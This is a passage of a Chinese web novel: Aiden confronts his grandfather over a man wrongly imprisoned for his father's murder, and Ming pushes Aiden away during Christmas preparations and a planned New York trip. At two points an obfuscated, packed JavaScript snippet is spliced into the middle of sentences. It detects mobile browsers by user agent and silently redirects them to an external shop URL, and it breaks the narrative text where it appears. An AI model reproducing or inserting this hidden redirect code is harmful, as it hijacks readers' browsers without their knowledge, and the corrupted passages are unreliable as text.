最糟的,是艾登那些从兄弟姐妹们对Ming的诘难,似乎恨不得把他的家底全都掏得一干二净,细细地摆在桌子上,一样一样地品鉴,一样一样地证明Ming根本不配坐在这张桌子上与他们同吃同喝,更恐怖的是,他们还询问了许多与中国有关的,除了彰显他们的无知以外别无他用的问题,让艾登觉得丢脸极了。不过,云决明的对答如流证明他对这样的霸凌并不陌生,时不时的犀利反击更是能把对方气得脸白一阵,红一阵,又不好发作,看得艾登又是解气,又有些心疼。 虽说有这样小小的愉快片段支撑着他们三个尽力维持餐桌表面上的和谐气氛,却无法减少整场晚宴给人带来的精疲力尽。目送着大型保姆车消失在车道尽头,艾登的脸立刻松弛了下来,他现在只想赶紧开车回家,洗个热水澡,之后也许跟Ming一起看一场电影什么的,如果他愿意的话。接着,就是舒舒服服地睡上一觉—— 他一转身,就瞧见爷爷站在他身后,这时,艾登才后知后觉地想起爷爷想跟他谈谈的事,但还没等他想出什么合理的借口脚底抹油溜之大吉,爷爷就不由分说地按住了他的肩膀,“艾登,我要跟你谈一谈。” 他们回到了爷爷的桌球室中,“坐。”爷爷简短地说道,指了指台球桌旁的双人皮质沙发,艾登乖乖地坐下了,什么也没说。几个小时以前,Ming就坐在他现在的这个位置上,他觉得自己仿佛还能感觉到对方残留在柔软麂皮上的体温,甚至能嗅到他须后水的淡淡薄荷清香。 今天下午,他给他系领结时,就若有若无地闻到了同样的气息。 “给你的。” 就在他胡思乱想的时候,爷爷把一杯加了冰的威士忌放在他手边。“我还没满二十一岁。”艾登下意识地说道,他费了点劲才把话语里“你不能随便就这样打破规矩”的怨气压下去。他尽量不去想自己对爷爷怀有的愤怒,但他越是逃避,怒火似乎就越发旺盛。 “我知道,”爷爷若无其事地说着,在艾登身旁坐了下来,“但这也不是你第一杯酒了,不是吗?” 艾登无法反驳这一指控,只好沉默着。 “我第一次喝酒是我十六岁的时候,”爷爷自顾自地开口了,“我父亲亲自给我倒了一杯威士忌——那时候没有几个人在乎二十一岁的年龄限制。他对我说,‘儿子,这是你第一杯与父亲共同分享的威士忌,我希望你能永远记住这特殊的一刻,并且知道我将永远为你骄傲。’我的父亲是个严肃而且不苟言笑的男人,他从来没对孩子们说过一句温情的话,那是他唯一一次向我流露出了一丁点可怜的父爱,而我就像沙漠里的仙人掌守着一辈子就那么一次的雨水一般小心翼翼地守着那段记忆,片刻不敢遗忘。” 艾登没有见过自己的曾祖父母,他们在他出生以前就去世了。他沉默不语地听着,换做平时,他会为这个故事无比感动,但他此刻能想到的就是肯尼的儿子可能永远也没办法与自己的父亲喝上一杯共同分享的威士忌了,这个想法让他的指尖颤抖起来,艾登把手藏在西装口袋里,攥紧了。 “但我第一次喝醉,是在我二十二岁那一年。我在利马街头遇见了你的奶奶——我还记得她那天穿着一条鹅黄色的裙子,手里拿着白色小包,肌肤是漂亮健康的奶油色,墨黑的髦发像云朵一样堆在脸旁,头上歪戴着一顶同色的蝴蝶结帽,但吸引我注意到她的不是她的打扮,是她的笑容。她一边走路一边想着什么,一点神秘又甜蜜的笑意藏在她酒窝里,可爱至极。我看得失魂落魄,险些被车撞了。那一刻我就知道,如果我不能跟她在一起,这辈子我也无法再跟其他女人在一起。就是这个想法,让我当晚喝得酩酊大醉,因为我知道我的父母不会接受一个华人妻子,我知道我再也没法令我父亲骄傲。” 他拿起杯子,向艾登举了举,后者抿着嘴,没有举杯回应。爷爷只得讪讪地放下了杯子,清了清喉咙。 “但这就是我想说的,孩子——无论发生什么事,我都会为你骄傲。你在那个中国女——” “但这不是真的。” 艾登打断了他的话。 “什么不是真的?”爷爷愕然问道。 “你说的话。你说无论发生什么事情,你都会为我骄傲,那不是真的。如果我杀了人呢?如果我有意地毁灭了一个原本美满幸福的家庭呢——”“但你不是那样的人,”爷爷也打断了他的话,紧皱着眉头,“我知道你不可能做出那些事情的。” “就像我也知道我的爷爷绝对不可能把一个无辜的人送进监狱里去一样吗?”艾登轻声说。 这句指责来得太快又太突然,就像是一巴掌猛地扇在了爷爷的脸上,他震惊地坐在那儿,像一尊突然出现在摇滚夜店里的老古董,对自己身旁发生和围绕的一切都充满了不安与陌生感。他是想开口讲话的,艾登能瞧见声音是怎么从他的胸腔鼓起,一路攀爬到喉头那儿,但在最后一刻,爷爷又把它咽了下去,在胃部充分地消化了又消化——如果现实能像动画一样夸张地演绎,那么艾登估计会看见一张张被揉皱的稿纸从爷爷的肚子里被扔出来,每一张上都写满了为自己辩解的话。但艾登——他不想说冷酷,但他确实在爷爷瞪大的双眼里瞧见了自己冷酷坚决的神色。事实是,如果他不逼迫着自己做出一副冷酷的神情,他随时都有可能突然崩溃,哭着紧紧抱住自己的祖父——步步紧逼的目光让稿纸上的内容越来越少,越来越少,最终,只有几个字连滚带爬地从爷爷的唇齿间蹦了出来。 “你知道?” “你当年把肯尼送进监狱靠的可不是什么坚实有力的证据,”艾登咬着牙说道。在脑子里愤怒是一回事,真正发泄在家人身上又是另外一回事,听着爷爷说话的时候,艾登觉得自己能面不改色,从头到尾冷冰冰地说完自己想说的话,等到真正开始的时候,他才发现这是一件多么违背本能的事情,他说出的每个字在爷爷脸上敲打出的神色都化为愧疚百倍地报应在自己身上,他甚至能听见自己脑海里有个小小的声音在劝说自己算了,你已经在为肯尼的自由积极努力了,就不要为一件十年前的往事惩罚对于你来说就如同半个父亲般的爷爷了,“就连——就连那些小报都知道你当年有操纵庭审结果的嫌疑,我会知道也不过是迟早的事。” “艾莉知道吗?” “我不知道。”艾登决定不供出自己的妹妹。 “暂时先别告诉她,她还太小,我不想让她被这件事影响。” 艾登差点要笑出声来——艾莉从六岁起就知道这件事了,她背负了这个秘密整整九年。他很想向爷爷咆哮着吼出这句话,但他同时也瞧见了爷爷说出这句话时眼里深深的愧疚,他很少看见爷爷非常直接地表达他对艾莉的爱,他自己生了一个儿子,头一个孙辈又是男孩,他似乎不太清楚要怎么抚养女孩,或者怎么和自己的孙女相处,可艾登还是在这一刻感受到了他独独为艾莉留出来的那一块柔软,“嗯。”他应了一声,“我不会说的。” “这就是你这段时间不愿回家的真正原因吗?” “嗯。” 爷爷叹了一口气,“那你希望我怎么做,艾登?” “我不明白。” “我的意思是,我不可能一辈子都跟我的孙子保持这样冷淡疏远的关系,所以我要怎么做你才能原谅我?你希望我去跟肯尼一家道歉吗?你希望我给他们家一大笔补偿费用吗?你现在跟杰森闹翻了,我们不可能利用他父亲的关系松动松动把肯尼转到一个条件比较好的监狱了,在这件事上我没什么可做的,他翻案的几率基本为零——除非有人能抓住当年杀害你父亲的真正凶手,但那根本就是一件不可能的事情。科尔从前就说过那很有可能就是一起种族仇恨犯罪,是某个流浪汉一时起意干的,叫我趁早死了抓住真正凶手的心。” 我能抓住。艾登咬牙心想。我一定会抓住的,跟Ming一起。 “所以,孩子,你说吧,我到底需要做什么,才能让你原谅我?” “这件事已经过去十年了,爷爷,你的道歉对肯尼,还要他的家人而言,只是几个毫无意义的字眼而已,既不可能弥补他们失去的岁月,也不可能让他们觉得释怀,相反,你的出现只会把尘封已久的伤疤再一次揭开,让他们没有必要地再次经历一遍相同的痛苦。你的支票起的作用也一样。” 肯尼的妻儿之所以愿意接受他的帮助,是因为他们知道事发当年艾登只是一个九岁的孩子,他对任何事都没有话语权,他同样是这起案件的受害者。他们没怪过艾登,也不会觉得他的支票和调查是某种假惺惺的补偿——而如果这些事由爷爷来做,恐怕他们的感受又会完全不同。 “那你希望我怎么做,艾登?” 实际上,艾登自己也不知道。 他张了张嘴,又闭上了。 爷爷听上去非常的绝望,艾登知道如果自己拒绝了他,告诉他没有任何事情能让自己原谅他,这会永远伤了爷爷的心,他们之间唯一仅存的机会——重新延续从前那种亲密无间的爷孙关系——也会随之而逝。从此以后他们就是两个拥有同样姓氏,却一辈子躲避着彼此目光的家人,每一场家庭聚餐的气氛都凝重而古怪,他都能想象得到奶奶和妈妈会因为这件事多么伤心。最重要的是——而他一想起这事,就觉得眼眶里有两颗柠檬在打架——他从今以后再也不能敲一敲桌球室的门,就像他父亲曾经干过的那样,笑着看向在落地灯底下看书的爷爷,“来一局吗,老头子?输的人明天去打理草坪。” “来就来啊。”爷爷每次都会兴致勃勃地回答,同时从柜子里拿出他的威士忌,幼小的艾登躲在门口,羡慕地观察着那只属于成年男人的言行与笑容,“你以为我会怕了自己儿子吗?我要让你看看什么是老当益壮!” 就像每个男孩都憧憬着自己长大以后可以穿进父亲的西装,踩进那双在自己眼里曾经大得跟艘小船似的鞋子,成为自己童年发自内心地崇拜景仰过的那个男人,艾登也同样憧憬着那一刻——而且因为父亲的去世更加强烈。他低下了头,意识到自己根本不希望爷爷做任何事情——那会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041252|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使他的谅解成为某种诡异交易中的一部分,并且会一直成为他心上的一个疙瘩。不管什么时候他看着爷爷,那个疙瘩都会突然苏醒过来,恶毒地嘶嘶低语着:“你非原谅他不可,他满足了你的要求,你非原谅他不可。” 这不是艾登想要的。 那他到底想要什么? “唐泽茹——就是那个中国女留学生,她试图自杀以后,我去医院探望过她。” 他喃喃地开口了,虽然他不清楚自己想说什么,艾登端起手边的威士忌——冰块融化了一些,稍稍稀释了酒液的浓烈——喝了一口,等火辣从喉头消失后,他才继续说下去。 “她吞了很多安眠药,感冒药,以及其他不知道从哪儿搜刮出来的药品,但她吞了以后又后悔了——网上有很多人都因此而骂她,好像非得坚持到底才算是个好汉,但我能理解——她昏过去以前给医院打了电话,救护车及时赶到了。艾莉——总之艾莉有门路知道这件事,她知道她去了哪家医院,也是她把唐泽茹自杀的消息放到网上去的——为了让大多数人闭嘴,我猜这是她想达到的目的之一。 “我没有立刻去看她,我想我等了三天,还是四天——那天我刚好去银行取一本新的支票簿,回来的路上经过了她被送去的医院。我记得我那时心想,如果左转的绿灯刚好在我抵达十字路口时亮起来,我就去看看她。 “其实我也不知道我为什么要去。” “因为你是个好人,我的孩子,因为你想确认她好不好。”爷爷开口了。 “也许,”艾登苦笑了一下,“也许我只想看看她现在有多惨,想知道她是不是真的为她的所作所为付出了代价——不过我当时完全没有思考这些问题,我停好车,走进医院,告诉导诊处的护士我想来看看唐泽茹。我摘下了墨镜,所以她们都认出来了我是谁,没有一个人敢开口告诉我到底可不可以,似乎害怕如果跟我说了什么,下一刻我就会掏出一把枪完成那些安眠药未竟的事业。最后还是她们的护士长走过来,一脸冷峻地告诉我只有家人才能探望,而我很显然并不是唐泽茹的家人。” “‘那你可以帮我问问她愿不愿意见我,’我当时坚持道,‘我相信这是符合规矩的。’ “她非常不情愿地去了,过了半个小时才回来——我相信其中有二十分钟都是她在试图说服唐泽茹不要见我。但不管怎么说,她还是忠于了病人的意志,给了我探视证,并且告诉我我只能待上半个小时。 “我来到病房所在的走廊上时,和四五个中国人擦肩而过,我相信他们应该是唐泽茹的父母和亲戚,其中有两个中年人哭得看起来已经瞎了,要靠别人搀扶着才能踉踉跄跄地向前走。当他们瞧见我的时候——我相信他们也认出了我,多半是从什么报纸上看到了我的照片。他们全都惊恐地躲避着我的视线,好像我是一尊逼近的美杜莎。要不是医院的走廊很宽敞,我敢打赌他们会立刻像螃蟹一样横着走。” “你见到那个中国女孩了吗?” “见到了。其实我没有逗留多久,我看见她的那一刻就知道其实我并不想要见到她,我对她的厌恶远远超过了我可能会对她产生的同情,我当时想掉头就走,但她喊住了我,而我不想在医院惹出闹剧——主要是不想惊动别的病人。 “接下来的半个小时里基本都是她在说话,我什么也没说,基本背对着她,我不确定她到底是想要为自己的行为找个正当的理由,还是只是想让我知道她并非有意要伤害我。总之,她说心理医生让她意识到她一直活在一种不现实的想象之中,因为她敏感自傲,自尊心很强,却又偏偏自卑,没有安全感,所以为了弥补这种失衡,她为自己编造了一个故事,就像中国国内很流行的那些言情小说里面写的那样,她想象自己是整个约州最帅,也最有钱的华裔的未来妻子,只要我一见到她我就会不可自拔地爱上她,而她就是那飞上枝头的麻雀,有朝一日成了凤凰——这能让她确信自己本来就是凤凰,只是缺少一个浴火重生的机会。 “她看了很多相关的小说,甚至还有教女孩怎么嫁入豪门的文章,看得太多了,她把幻想当成了现实,在谎言中越陷越深不可自拔,才有了后来的一系列悲剧。她最后向我保证,回国以后,她会为自己曾经犯下的错付出代价,希望到那时我就能原谅她。 “我知道,她的话很有可能都是狡辩,我也不可能去找她的心理医生问明真假,今后也不可能确认她是不是真的回中国认罪了。但是,听了她的解释以后,我心里感觉好受多了——虽然她说的那些话不足以让我原谅她,但我感到我被赋予了一个理由可以不必去那么仇恨她,不必让自己心里充斥着浓郁的负能量。我想,可能这就是我需要的,我想要的只是一个解释,解释那个当年能让奶奶心甘情愿下嫁的男人怎么成了如今这副模样。当初奶奶爱上的那个男人,当初那个能在中餐馆面不改色吃半个月别的美国人闻之色变的菜肴只为了再见自己一见钟情女孩一面的男人,会跟我一块在会议室里对镜头比中指,会跟我一块试图找出父亲谋杀案的真相,而不是试图用今天来拜访的那些亲戚们会采用的手段,去横蛮地处理我的事情,乃至将一个无辜之人送入监狱。” “我说了的话,孩子,你就能原谅我吗?” “我不知道我能不能做到。”艾登又抿了一口威士忌,下一句话是伴随着成年人无可奈何的辛辣与辛酸说出的,“但那会很有帮助,至少能改善我们现在的关系,至少我不会再逃避回家,不会再逃避见您。” 他语气又恢复了往日与爷爷说话的腔调,这缓和了爷爷的脸色,他沉吟了几秒。 “我不会现在马上就给你一个解释,孩子,我觉得那不够真诚,也让我没有足够的时间去仔细考虑你的话——下一次吧,好吗?下一次你回家来的时候,我再好好地跟你解释一切,那样的话,也许你会找到原谅我的办法,即便没有,我也……” 爷爷说不下去了,他灌下去了一大口威士忌来遮掩他突如其来的沉默。 “到那时再说。”艾登用杯子轻轻碰了碰爷爷的杯子,“干杯——敬我和我爷爷的第一杯威士忌。” 76. Chapter·Twenty-Three “你有什么计划吗?” 艾登开口的时候,云决明正在发呆。 这不能怪他,他从十分钟前开始要干的活就只有一件——帮艾登扶着梯子,好让他把彩灯缠绕在公寓门前的那颗树上。艾登干起这种活来很细致,他一会觉得灯绕得太密了,一会又觉得太稀疏了,来回折腾了好几次,云决明等得无聊,心思不知不觉便游移开了。 已经过去快一个月了,他还在反复回想感恩节那天艾莉说的那番话,以及她在祝阿姨开门瞬间便挤进自己和艾登中间的做法,猜测着艾莉如果没有那么敏捷的反应,之后会发生什么。每一次,他的想象都会带来同样准确地蒙住喘不过气的心脏的恐慌,像巨轮掠过时抛入深海的无边阴影一样,长久徘徊在他心底不去。云决明越回忆,就越意识到那一刻有多么暧昧,意识到任何人只要瞧上一眼,都能看出他偏头注视着艾登的双眸里的感情,已经完全超越了一个朋友对另一个朋友应有的范畴。 而艾莉行为背后的意思非常明显——祝阿姨是绝对不会接受这一点的。 倘若她知道了,会怎么做,云决明无从猜测,但从她一直以来维护家族体面的做法来看,不说别的,恐怕断然便不会允许艾登继续与自己合租下去了。 也许她之后会选择与自己谈谈,请求自己主动疏离艾登,言辞恳切优雅挑不出半分错,字字句句都是一个母亲对自己儿子的回护,叫他无从拒绝。 最后,自己又会回到遇见艾登的生活中去,一点点地倒退回那个他爬出来的虫卵里,重新封闭自我。每天如行尸走肉一般回到那间灰绿色的屋子里,茫然地在入睡前思考自己活着的意义。 他不断地在脑海里反复排演着这个结局,不知道是为了警告自己收敛一点,还是为了让自己在那命运一刻到来时能有所准备,亦或者是二者皆有。他正思考着自己被入骨的思念折磨得奄奄一息时,会不会像不入流的青春剧里喜欢演的那样,偷偷跑到艾登的教室外苦苦等候一个多小时,只为了远远看他一眼的时候,艾登突然说话了,云决明一个字都没听进去。 “嗯?”他慌张地反问道,感觉就像想象中正在偷看艾登的自己突然被对方察觉了一样心烦意乱。 “我问你,这个寒假你有什么计划吗?”艾登从梯子上爬下来,摘除了手套。云决明抬头望去,才发现他已经装点好了整棵树,“有没有打算去哪儿旅游?圣诞节过后,爷爷奶奶想带着艾莉去瑞士滑雪,顺便在那过新年,你想一块去吗?” 云决明摇了摇头,不用听也知道那肯定是要花上不少钱,更何况他现在打定主意要跟艾登保持普通朋友的距离,“你去吧,我这个寒假没什么计划。” “你不去的话,我也懒得去了。”艾登一边说,一边把梯子收起来,“要是我跟着去了,事情就会变得跟暑假一样,等我度假回来,你不仅把大部分的原本应该由我来干的侧写工作做了,还把自己饿得瘦骨嶙峋的,那可不行。” “没有你说的那么夸张,你去玩吧,我能好好照顾自己。”云决明低下头,避开了艾登的视线,今天是寒假的第一天,他们刚刚才从U大噩梦般的期末考试中存活。想想刚过去的这一学期发生了多少事情,云决明觉得自己要是还能拿上几个A,那就是个不折不扣的圣诞奇迹了。他原本想好好地休息几天,但由于圣诞节还有五天就要来了,艾登一大早就迫不及待地把他拽了起来,要为装饰公寓做准备。 公寓的万圣节节日装扮按照社区管理委员会的要求,在感恩节前就已经全都撤下了。艾登专门租了一个仓库,好用来放置这些节日装饰品,以备下一年继续使用。紧接着,他就在旁边租了一个更大的仓库,把他接下来一个多月在网上购买的各式各样圣诞节装饰——甚至包括一颗新鲜从明尼苏达州砍下的冷杉,都寄到那儿去了。他今天早上专门租了一辆大皮卡,就是为了把那些东西全都运回家。考虑到圣诞节是艾登最喜欢的节日,云决明吃惊了一会后也见怪不怪了。 十二月下旬的约州气温已经掉到零下十度了,云决明往自己身上里三层外三层地裹了好多件衣服,就像一个巨大而僵硬的棉花球一样,却仍然冻得鼻子通红,涕水直流,膝盖微微发抖。他身旁的艾登只在家居服外面套了一件宽大的棒球服,活动自如,大踏步穿过稀疏淡黄的草地,他计划着要把整栋房子布置成一张典型圣诞贺卡上的小屋,这会胳膊上正挂着厚实的一圈灯缆,往窗户下光秃秃的灌木丛走去。 草坪在约州的冬天是活不下去的,枯黄的干草混杂着还没来得及变色的新鲜尸体,无法遮掩住泥土本来的颜色。临近圣诞节的土地因为干燥缺雨而冻得硬邦邦的,而且会由里向外地散发着幽幽的寒气,毫不客气地往裤脚与袜子,还有趾尖与鞋顶之间的缝隙里钻。云决明只觉得自己仿佛在冰上赤脚跳舞。 “我当然不能把你一个人丢下。”艾登说道,他的语气里带着一种理所当然的亲切,或者不如说是亲昵,一种欢快的“我不可能离开你,小傻瓜”的口吻,云决明从前会放纵自己独吞这种亲密,用它们来填补他心中那被爱而不得腐蚀出的心之洞,甚至当做深夜难以入睡时聊以宽慰的记忆,但现在他知道这样不行,看在别人眼中——尤其是艾登的母亲眼中——只会认为是他引诱了艾登,是他不知廉耻,步步为营。 “你当然可以——” “我有好多事情想跟你一起做呢,”艾登自顾自地说了下去,他的音量淹没了云决明出口就被冻成一根不起眼的细棍的声音,“我想跟你一块去纽约,去逛博物馆,去购物,去百老汇看音乐剧,去吃正宗的中餐,去中央公园散步,去洛克菲勒中心滑冰;我想在平安夜那天跟你一块驱车游遍整个约州,去看看那些以圣诞装饰闻名的街道——” “你是说,专门开车去看别人把房子布置成什么样?”云决明有点惊讶,“这么做的乐趣在哪?” “我高中的时候谈过一个女朋友,”这句话让云决明的胃登时打了个结,把一肚子的胃酸全都喷进了胸口,“她曾经跟她的好朋友一起追猎过圣诞灯光装饰——是的,这个活动是有名字的,追猎圣诞灯光(Christmas Lights Hunting)。不觉得听上去很浪漫吗?” 云决明点点头。 “总而言之,她回来以后跟我描述了一番,说她和她的朋友们是如何买了一大堆吃的,芝士薯条,手指鸡条,布法罗鸡翅,哥伦比亚煎肠,土豆沙拉,薯片,奇多,汽水——基本就是她们那天晚上的晚餐,然后她们一边吃,一边缓缓地沿着一个社区开到另一个社区,音响里开着圣诞音乐串烧,几个女孩嘻嘻哈哈地点评着窗外每栋房屋装饰的水准和美观程度,又或者只是单纯地说一些没有意义的闲聊,静谧的街道缓缓飘落着雪花,她们瞧见的每一间屋子里都亮着温暖而幸福的灯光——据她说,那是她最接近相信这个世界有天堂的时刻。 从那时候起,我就想跟朋友也来上一趟——不一定要买那么多吃的,也不一定要评价哪栋房屋装饰得最漂亮哪栋房屋最偷懒,我只是想体验她描述的那个短暂又具有魔力的时刻,和我最要好的朋友一起。” 他因为回忆而熠熠生辉的双眼点亮了这个灰蒙蒙的冬日午后,他笑得就像是一个九岁的将要与自己朋友去野营的男孩,那份未能在童年圆满的缺憾因为历时弥久而越发深厚——有些遗憾错过了便错过了,长大再买的机器人永远都不可能拥有小时候在商店里见到时拥有的那种吸引力;有些遗憾像一首未写完的诗,被埋进了时空胶囊,等待多年后的再度填补,艾登幸运地拥有了后者。 云决明觉得没人能拒绝这一刻的艾登,拒绝他的笑,拒绝他的话,拒绝他想要相信这个世界有天堂的渴望。 然而,在他也露出回应笑容的前一刻,由千百次想象重复描绘,栩栩如生的景象就像强硬插入电视节目的广告一样,遮蔽在了他的眼前,仿佛他现在与艾登多相处的每一分每一秒,都是在透支将来的时间,一旦额度用完,艾登便会彻底消失在他的世界中。多年以后,他的孩子可能会在iCloud里翻出那张艾登与自己的合照——两个对坐着,相互望着彼此的男孩,一个神情内敛,另一个则眉开眼笑,寒冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041253|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的二月在他们身后呼啸而过。“噢,那是我在大学时认识的一个朋友,”艾登会随口那么解释一句,“但我们现在已经不再来往了。” 不了,艾登,谢谢,我寒假时只想待在家好好休息。 但他错过了最佳的拒绝时机,这句话还没来得及说出口,艾登便又开口了,“当然啦,在这之后还有元旦——我还没想好元旦到底要怎么过,也许我们在圣诞节前可以去别的地方玩,比如说费城,华盛顿,甚至是迈阿密,从寒冷中解放几天感觉也挺不错的,不是吗?这样,我们就能在纽约度过元旦,还能去时代广场一块跨年倒数。元旦过后,你的生日就到了,当然,我知道你肯定不想大张旗鼓地庆祝——” 他这时候终于决定了自己要从哪个树篱先下手,便将灯串递给了云决明 “我——我不想去那些地方。”如果放任艾登继续说下去,他又会错失下一个拒绝的时机,云决明已经能感觉到他好不容易硬起来的心肠又在颤颤巍巍地发抖。 “那我们可以只去纽约——你曾经亲口告诉过我你想去大都会博物馆看看,还有自然历史博物馆,古根海姆博物馆……如果你想的话,我们也可以明天就出发,只去三天,赶在圣诞节前回来,这样之后就没什么事,可以一直待在家里休息了,你觉得怎么样?”艾登一边问,一边将灯缆绕在叶子掉光的篱枝上,云决明的手时紧时松,慢慢将灯串放出。 “那我们应该叫上疏眠一块去。”云决明确实亲口说过他想去那几间博物馆看看,可他一时之间想不到有什么理由可以推翻自己曾经的心愿——或者说他的大脑拒绝在这件事上开动脑筋,“我的意思是——呃,最近发生了这么多事情,我一直没有办法把她约出去,一起逛博物馆听上去挺浪漫的,你也有正当的理由可以留下我和她两个人独处,这确实是个不错的机会。如果她没空的话,也许——呃,我们应该挑一个她有空的时间再去。” “你想带上黎疏眠?” 艾登只轻微地皱了一下眉毛,神色马上就恢复了平静。云决明低头放出了一点灯缆,忽地觉得自己手下的电线在轻微颤抖。 “嗯,如果可以的话,追猎圣诞灯光的时候也把她叫上吧,甚至是艾莉——” 这样,即便祝阿姨真的怀疑自己也许对艾登有什么拿不上台面的情愫,至少她不会怀疑自己掰弯了艾登,他们两个已经成了出双入对,公然约会的情侣。 那么,也许看在这一点的份上,她会默许自己继续留在艾登身边,她不会把艾登从自己的生活中夺走。 艾登已经失去了双亲之一,云决明甘愿自己放手,从此消失在艾登的视野里,也不会强迫他与自己仅剩的母亲作对,这太不公平,也太令人痛苦,云决明舍不得让他受苦。 “是我什么地方没做好,让你不高兴了吗,Ming?因为你听上去似乎不愿意跟我一块单独做任何事情——” “我只是觉得人越多越快乐。”云决明低声说道,视线牢牢地凝聚在慢慢从手中滑走的一个又一个灯泡上,每一个似乎都代表着一小段他与艾登相处的岁月,可能是某一道艾登发明的新菜肴,可能是某个他们联手打电子游戏对抗网友的夜晚,也可能是他辅导艾登统计学时的数个小时,这些可能只会成为艾登精彩人生中的一段插曲,但对云决明来说,不管他将来会成为一个怎样的人,会发生什么样的事,所有这些回忆构成了他如今身处世界的地基与支撑,这一点无论如何不会改变。“我对跟你单独相处没意见,一直都没意见,你怎么会那么想呢?” “因为你——” “你对我想追求黎疏眠这件事有意见吗?”云决明使出了杀手锏,他知道艾登极其避讳这一点,生怕自己会因为他而不敢主动追求会长。直到这一刻,他才有勇气抬起头来看着艾登,却只发现他已经转过身去了。灯串粗暴地被从云决明手上扯过去,他似乎已经不想继续小心翼翼地布置,也不想在乎疏密有致了。 “我知道了,我会去打电话问问的。” 云决明只能听见他的声音冷冷地从他后脑勺处传来。 77. Chapter·Twenty-Four “黎疏眠说她会跟我们在酒店碰面,对吗?” 上车后,正犹豫地系着安全带的Ming不放心地再确认了一遍——好像生怕艾登撒谎骗他出门似的。后者调整后视镜时在反射里瞧见了自己咬牙切齿的目光,随即就被戴上的墨镜遮掩了。 他就那么想跟黎疏眠出去约会吗? 艾登恨恨地想着,心中的烦闷在瞧见Ming脸上看着并不那么激动雀跃,反而冷淡漠然,甚至可以说是有些不安的神色时越发加重了,简直就像是一只被塞进黑箱里的小豹子,在他心中百般撕咬挠抓,偶尔一爪有些重,甚至会留下划开皮肉的伤疤,隐隐的疼痛顺着血管传来,积郁在他的喉头。 “嗯,她确实是那么说的。” 一边焦躁地拍着方向盘,艾登一边不耐烦地说道。后半句充满火|药味的“你不相信我吗?”在舌头上打了个转,又被他心不甘情不愿地咽下了。 他的确给黎疏眠打电话了。 “你们两个去纽约旅游,为什么要特意叫上我?”透过她惊讶的声音,艾登都能想象得到她修得精致细长的眉毛是怎么高高地挑了起来。 “因为Ming想跟你单独约会。”也不管这会不会影响Ming和黎疏眠之间的恋爱进展,艾登没好气地说道,“所以,去不去?我们明天出发,在纽约待三天,会在图书馆酒店住上两天,你想的话,我现在就可以给你订一套房间——不过,这个酒店很受欢迎,我不保证一定能在圣诞假期给你订到房间。” 他不记得自己什么时候用过这么糟糕的语气跟黎疏眠讲话,但他实在被Ming气得不轻——他怎么可以这么重色轻友,甚至不愿意分几天时间给自己最好的朋友?还是说,在黎疏眠前面,他只是一个可有可无的plus one,一个方便好用的司机? “如果这个酒店这么受欢迎,你是怎么确保你明天过去就一定会有房间的?”黎疏眠好似没有因为他的语气而不快,听上去,她好像还在轻笑,艾登总觉得她好像看破了什么见不得人的秘密似的,越发不高兴了。 “因为我提前在那间酒店包下了一个房间,”他板着脸回答,“这样,不管什么时候我想去纽约,都能确保有酒店可以住。”准确来说,是不管什么时候Ming愿意跟他一块去纽约,他们都能有酒店住。他从两个月前就开始计划寒假的出游了,只是那时候事情太多,实在不好讨论这个话题。 不过,他是绝对不会把房间让给Ming和黎疏眠两个人,自己随便去下城区的某个快捷连锁酒店找一间临时被退的客房居住的。他希望黎疏眠已经从他的语气中听出了这一点。 “Ming亲口跟你说他想要我去,是因为他想要跟我单独约会?”黎疏眠再次确认了一遍。 “是啊,”艾登无名火蹭蹭直冒,他要说几遍黎疏眠才能明白Ming对她有意思?Ming对她爱得不可自拔?“他还说,如果你明天没空,他就要挑一个你有空的日子再去。所以,我觉得你基本可以理解为,如果你不去,他就不去了。” 他听见电话那头的黎疏眠轻轻哼了一声,似乎觉得他说的话很有意思,沉吟几秒后,她才再次开口了。 “我明天有空,我会去的——不过,你们就不必来接我了,我的公寓在另一个方向,不顺路。这样,我们早上差不多时间出发,到时候在你说的那个图书馆酒店碰面好了。别担心我住哪,我可以搞定的。” “那就这样吧。” 艾登就像摁死一只虫子般摁下了终止通话。 “我真希望她能让我们去接她,”没有开广播,没有放音乐,福特野马就这么安静地在道路上行驶了好一会以后,Ming突然开口了。从车子开动到现在,他一直盯着窗外,头都没有回一下,“这样,不仅能省不少停车费,还不用多出一笔过桥费。” “她想自己开车过去,别计较了。”艾登僵硬地说道。 这跟他两个月前计划出游时的想象完全不同。 在他脑海中,此时他们就该像上次去六旗主题乐园时一样,开开心心地在出游前拍上一张合照,两个人的心情都轻快明朗,哪怕天色阴沉,瞧着仿佛随时要下一场大雪,也无法撼动。他们会悠然地闲聊着,计划着去了大都会博物馆以后要先去哪个展区参观——艾登从前去过很多次,他有不少故事可以吹嘘——以及商讨着之后要去哪个中餐馆吃饭。这一会,说不定Ming才会是那个捉弄他的人,口口声声嚷嚷着要带他去吃臭豆腐(艾登不敢确定华人街到底有没有,尽管他偷偷上网查过),结果就像那次去游乐园一样,临到门前又把被臭得哆哆嗦嗦的他领到隔壁去吃咖喱鱼蛋和xo酱肠粉了。 然而,此刻不仅车内的气氛僵硬到了极点,每一次Ming开口,黎疏眠的名字还都必定从他嘴里蹦出,好像他满脑子里除了那个女人,就塞不下别的东西了似的。 别忘了,你自己两个月前的确给了他许可,告诉他可以放手去追黎疏眠。艾登提醒着自己。 